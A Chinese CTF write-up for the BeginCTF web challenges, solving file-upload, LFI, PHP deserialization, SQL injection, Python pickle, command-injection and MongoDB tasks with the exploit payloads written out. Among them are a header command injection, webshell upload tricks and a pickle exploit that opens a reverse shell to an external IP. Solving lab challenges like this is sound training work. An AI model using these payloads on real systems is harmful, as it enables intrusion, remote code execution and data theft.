【Web】小白也能看懂的BeginCTF个人wp(全)

纯萌新,贴出自己的wp,一起交流学习QWQ

目录

zupload

zupload-pro

zupload-pro-plus

zupload-pro-plus-max

zupload-pro-plus-max-ultra

zupload-pro-plus-max-ultra-premium

zupload-pro-revenge

zupload-pro-plus-enhanced

POPgadget

sql教学局

Pickelshop

readbooks

king


zupload

下载源码,看到index里面

die(file_get_contents($_GET['action']));

就是个读文件的操作嘛,参数无过滤,直接上payload

 ?action=/flag

zupload-pro

和上一题比起来增加了过滤,不能直接读根目录,也不能目录穿越。

if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));

直接伪协议即可

payload:

?action=php://filter/convert.base64-encode/resource=/flag

zupload-pro-plus

这题对上传文件后缀做了一些过滤,但我们又不用上传文件,上一题payload一样能用

if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));

payload:

?action=php://filter/convert.base64-encode/resource=/flag

zupload-pro-plus-max

if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(include($_GET['action']));

对'/'个数做了限制,相当于ban了伪协议,直接读文件可能性不大了,只能上传马再文件包含拿shell了

else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }

这段代码负责处理文件上传请求,限制上传文件的格式为zip,并进行一系列的验证和操作,最后返回相应的成功或错误信息

对文件内容无过滤,这不嘎嘎乱传

先随便创建个txt文件,压缩成zip文件,放到010editor里在文件末尾加上恶意代码

注意不要破坏zip文件格式,否则文件损坏过不了检测

上传成功后访问?action=uploads/1.zip

zupload-pro-plus-max-ultra

继续审计index.php代码,发现文件包含没了,但多一处exec命令执行

exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

其中$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

即extract是可以控制的,可以进行无回显rce,最简单的就是直接写文件

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    $extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {

                exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

 payload:

X-Extract-To: ;cat /flag > flag.txt

访问/flag.txt

zupload-pro-plus-max-ultra-premium

exec中没有可控的变量($file_destination也被uniqid处理过)

直接rce可能性不大

if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_name_new = uniqid('', true) . '.' . $file_ext;
                $file_destination = 'uploads/' . $file_name_new;
    
                if (!move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'error',
                        'message' => 'Failed to upload file'
                    ));
                }

                exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } 

后台会解压缩我们上传的zip文件,但不能访问,只能下载,不能直接get shell

.user.ini 文件的作用范围是当前目录及其子目录,而/uploads下没有可解析的文件

考虑通过软连接link间接操作/var/www/html,配合.user.ini包含一个恶意文件1.php

(相当于上传了/.user.ini和/1.php,给同目录的/index.php包含了1.php)

参考文章:【CISCN2023】unzip 详解

先上传link.zip,再上传link1.zip,再上传link2.zip。

等待5分钟使配置文件生效,直接在/index.php读flag

zupload-pro-revenge

文件上传部分几乎没有过滤,甚至后缀也是自由的,直接传马

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    if ($file_error === 0) {
        if ($file_size <= 2097152) {
            $file_destination = 'uploads/' . $file_name;

            if (move_uploaded_file($file_tmp, $file_destination)) {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'File upload failed'
        ));
    }
}

 直接去访问/uploads/1.php

zupload-pro-plus-enhanced 

这题后台不会自动解压缩了,但问题不大

$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);

重点是这段代码,后缀的处理存在漏洞,只要构造1.zip.php,那么只会检查第一个点号后面的zip,PHP文件会正常执行,payload如下

直接访问/uploads/1.zip.php

POPgadget

因为__wakeup会注册FLAG的环境变量,所以考虑直接phpinfo读flag

exp:

<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}


class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}

$c=new Fun();
$b=new A();
$a=new B();
$a->a=$b;
$a->p='phpinfo';
$b->a=$c;
echo (serialize($a));

最终payload:

?begin=O:1:"B":2:{s:1:"p";s:7:"phpinfo";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:" Fun func";s:20:"call_user_func_array";}}}

在phpinfo里找到flag

sql教学局

先简单fuzz一下

发现有替换为空的,也有直接ban了的

第一段:

查库

1'/**/union/**/sselectelect/**/group_concat(schema_name)/**/ffromrom/**/infoorrmation_schema.schemata#

#secret

查表

1'/**/union/**/sselectelect/**/group_concat(table_name)/**/ffromrom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/'secret'#

#password

查字段

1'/**/union/**/sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'passwoorrd'#

#flag,id,note

查flag

1'/**/union/**/sselectelect/**/group_concat(flag)/**/ffromrom/**/secret.passwoorrd#

#flag{c246bd15-

找第二段flag

查字段

1'/**/union/**/sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'scoorre'#

#grade,student

查值

1'/**/union/**/sselectelect/**/group_concat(grade)/**/ffromrom/**/scoorre/**/where/**/student/**/like/**/'begin'#

#c918-4ea1-ac76

第三段flag

读/flag文件

1'/**/union/**/sSELECTELECT/**/lloadoad_file('/flag')#

#-bc7b91a9d108}

三段flag拼起来,flag{c246bd15-c918-4ea1-ac76-bc7b91a9d108}

Pickelshop

一看题目名就是pickle反序列化

贴一篇自己之前写的Python的反序列化漏洞个人笔记

进来发现有注册、登录、和pickelshop,pickelshop没啥用

 随便注册一下,发现返回了cookie

import pickle
import base64
s=base64.b64decode('gASVKQAAAAAAAAB9lCiMCHVzZXJuYW1llIwFWjNyNHmUjAhwYXNzd29yZJSMAzEyM5R1Lg==')
print(pickle.loads(s))

 验证是pickle反序列化

 写个exp

import pickle
import os
import base64

class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.136.33",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
        return os.system, (s,)

e = exp()
s = pickle.dumps(e)
user = base64.b64encode(s).decode()
print(user)

注意服务器是linux进行反序列化操作,我们也要在linux上进行序列化操作,否则会报错 

记得提前监听1337端口

在login的路由cookie上打入(简单的逆向思维)

成功反弹shell拿到flag

 

readbooks

从/list/book1和/public/book1不同回显大概可以推测出/public这个路由是个读文件的操作

比如cat * 是读当前目录下所有文件内容

输入public/* 可以发现源码

@app.route('/')
@app.route('/index')
def hello_world():
    return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    try:
        res = os.popen('cat {}'.format(name)).read()
        return res
    except:
        return "error"

过滤如下:

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']

DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']

BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

经过尝试后可以使用反引号+引号配合echo出文件名即可

思路是`echo ‘/flag’`,  echo被过滤使用’ec''ho’, 空格被过滤使用${IFS}

然后/flag通过base64编码,L2ZsYWc=,但是等号被过滤,可以对/flag*编码得到L2ZsYWcq

得到flag的文件是/_flag

对/_flag 进行编码L19mbGFn

再传入payload

`'ec''ho'${IFS}L19mbGFn|'ba''se64'${IFS}-d`

king

题目hint:

贴一篇文章学习一下:Nosql 注入从零到一

先开着bp,再输入网址,抓包如下

看着一大坨回显应该是MongoDB

是个遍历查询,我们把这部分放到repeater里

然后把左边一大坨改成查看集合(类似于sql里的数据库)

{"query":{"listCollections":1}}

看到了flag的字段文件

然后可以用find命令去读flag文件值

{"query":{"find":"flagjyqe9i21fcf"}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/374100.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ant-design-vue表格嵌套子表格,实现子表格有数据才显示左侧加号图标

ant-design-vue表格嵌套子表格&#xff0c;实现子表格有数据才显示左侧加号图标 通过使用插槽的方式&#xff0c;以下为全部项目的代码&#xff0c;关键的代码就两块&#xff0c;看注释 <template><a-card><a-form class"kit_form" ref"formRef…

(已解决)vue+element-ui实现个人中心,仿照原神

差一个个人中心页面&#xff0c;看到了这个博主的个人中心&#xff0c;真的很不错 地址&#xff1a;vueelement仿原神实现好看的个人中心 最终效果&#xff1a;

15.1 项目实践_OA系统

15.1 项目实践_OA系统 1. 需求说明及环境准备1.1 需求说明1.2 环境准备1.3 开发模式_MVC架构模式2. 关键代码解析2.1 整合MyBatis1. 依赖2. 配置mybatis-config.xml3. Mybatis工具类2.2 RBAC2.3 用户登录1. 需求说明及环境准备 1.1 需求说明

RBAC的权限解决方案(思路)

RBAC全称&#xff1a;role based access control&#xff0c;基于角色的权限控制方案 核心思路&#xff1a;给角色分配功能权限&#xff0c;把角色分配给员工&#xff0c;那员工就自动拥有了角色下面的所有功能权限 菜单路由权限控制&#xff1a;不同角色的员工进入到系统中看到…

MySQL知识点总结(四)——MVCC

MySQL知识点总结&#xff08;四&#xff09;——MVCC 三个隐式字段row_idtrx_idroll_pointer undo logread viewMVCC与隔离级别的关系快照读和当前读 MVCC全称是Multi Version Concurrency Control&#xff0c;也就是多版本并发控制。它的作用是提高事务的并发度&#xff0c;通…

Axure 动态面板初使用 - 实现简单的Banner图轮播效果

实现简单的Banner图轮播效果 使用工具版本实现的效果步骤过程 使用工具版本 Axure 9 实现的效果 步骤过程 1、打开Axure工具&#xff0c;从元件库拖个动态面板到空白页&#xff1b; 2、给面板设置一个常用的banner尺寸&#xff0c;举个栗子&#xff1a;343151(移动端我常用…

SpringBoot:多环境配置

多环境配置demo代码&#xff1a;点击查看LearnSpringBoot02 点击查看更多的SpringBoot教程 方式一、多个properties文件配置 注意&#xff1a;创建properties文件,命名规则&#xff1a;application-&#xff08;环境名称&#xff09; 示例&#xff1a;application-dev.proper…

【CSS】什么是BFC?BFC有什么作用?

【CSS】什么是BFC&#xff1f;BFC有什么作用&#xff1f; 一、BFC概念二、触发BFC三、BFC特性即应用场景1、解决margin塌陷的问题2、避免外边距margin重叠&#xff08;margin合并&#xff09;3、清除浮动4、阻止元素被浮动元素覆盖 一、BFC概念 BFC(block formatting context)…

俏美韵实现多场景养身 树立健康养身新要义

近年来&#xff0c;“年轻”在现代社会被符号化与视觉化&#xff0c;老年化的肉身迹象出现让“不甘衰老”的青年们困扰不安。然而这代年轻人的养身模式堪称为矛盾的集合体&#xff0c;他们挣扎在放纵与自律之间。一方面&#xff0c;他们想尽办法来创造各式各样的身体“保养”方…

阿里集团基于 Fluid+JindoCache 加速大模型训练的实践

作者&#xff1a;王涛(扬礼) 陈裘凯(求索) 徐之浩(东伝) 一、背景 时间步入了 2024 年&#xff0c;新的技术趋势&#xff0c;如大模型/AIGC/多模态等技术&#xff0c;已经开始与实际业务相结合&#xff0c;并开始生产落地。这些新的技术趋势不仅提高了算力的需求&#xff0c;也…

23、数据结构/查找相关练习20240205

一、请编程实现哈希表的创建存储数组{12,24,234,234,23,234,23},输入key查找的值&#xff0c;实现查找功能。 代码&#xff1a; #include<stdlib.h> #include<string.h> #include<stdio.h> #include<math.h> typedef struct Node {int data;struct n…

VXLAN:虚拟化网络的强大引擎

1.什么是VXLAN VXLAN&#xff08;Virtual eXtensible Local Area Network&#xff0c;虚拟扩展局域网&#xff09;&#xff0c;是由IETF定义的NVO3&#xff08;Network Virtualization over Layer 3&#xff09;标准技术之一&#xff0c;是对传统VLAN协议的一种扩展。VXLAN的特…

mysql 多数据源

依赖 <dependencies><!--mysql连接--><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><!--多数据源--><dependency><g…

第3节、电机定速转动【51单片机+L298N步进电机系列教程】

↑↑↑点击上方【目录】&#xff0c;查看本系列全部文章 摘要&#xff1a;本节介绍用定时器定时的方式&#xff0c;精准控制脉冲时间&#xff0c;从而控制步进电机速度。 一、计算过程 电机每一步的角速度等于走这一步所花费的时间&#xff0c;走一步角度等于步距角&#xff…

Meta开源大模型LLaMA2的部署使用

LLaMA2的部署使用 LLaMA2申请下载下载模型启动运行Llama2模型文本补全任务实现聊天任务LLaMA2编程Web UI操作 LLaMA2 申请下载 访问meta ai申请模型下载&#xff0c;注意有地区限制&#xff0c;建议选其他国家 申请后会收到邮件&#xff0c;内含一个下载URL地址&#xff0c;…

电商开放API商品采集接口、关键字搜索接口,获取商品ID、商品主图接口

API是application programming interface&#xff08;应用程序接口&#xff09;的简称&#xff0c;是一些预先定义的函数&#xff0c;目的是提供应用程序与开发人员基于某软件或硬件的以访问一组例程的能力&#xff0c;而又无需访问源码&#xff0c;或理解内部工作机制的细节。…

【敏捷开发】关于敏捷开发的几点思考,推荐一些高效书籍一起学

【敏捷开发】关于敏捷开发的几点思考&#xff0c;推荐一些高效书籍 一、背景二、敏捷宣言三、极限编程四、如何进行敏捷&#xff1f;4.1 改变软件研制方式4.2 组件高效团队4.3 改善研制流程4.4 持续集成与交付 五、Scrum过程六、书籍推荐 一、背景 软件开发的未来一定是多变的…

可解释性AI(XAI)的主要实现方法和研究方向

文章目录 每日一句正能量前言主要实现方法可解释模型模型可解释技术 未来研究方向后记 每日一句正能量 当你还不能对自己说今天学到了什么东西时&#xff0c;你就不要去睡觉。 前言 随着人工智能的迅速发展&#xff0c;越来越多的决策和任务交给了AI系统来完成。然而&#xff…

介绍docker

一&#xff1a;介绍docker&#xff1a; Docker 并没有单独的图形界面&#xff0c;它主要通过命令行来进行管理和操作 1、 docker ps&#xff1a;显示正在运行的容器。 docker images&#xff1a;显示本地的镜像。 docker run&#xff1a;创建并启动一个新容器。 docker stop&a…

探索LLM的意图识别能力

不可否认的是&#xff0c;LLM&#xff08;例如 OpenAI 的 GPT 系列&#xff09;将在不断发展的对话式 AI 领域发挥重要作用。 关于使用 ChatGPT 执行各种任务的帖子和文章不计其数。 GPT 有几个关键功能值得进一步探索&#xff0c;例如其摘要、分类和生成文本的能力。 其中&…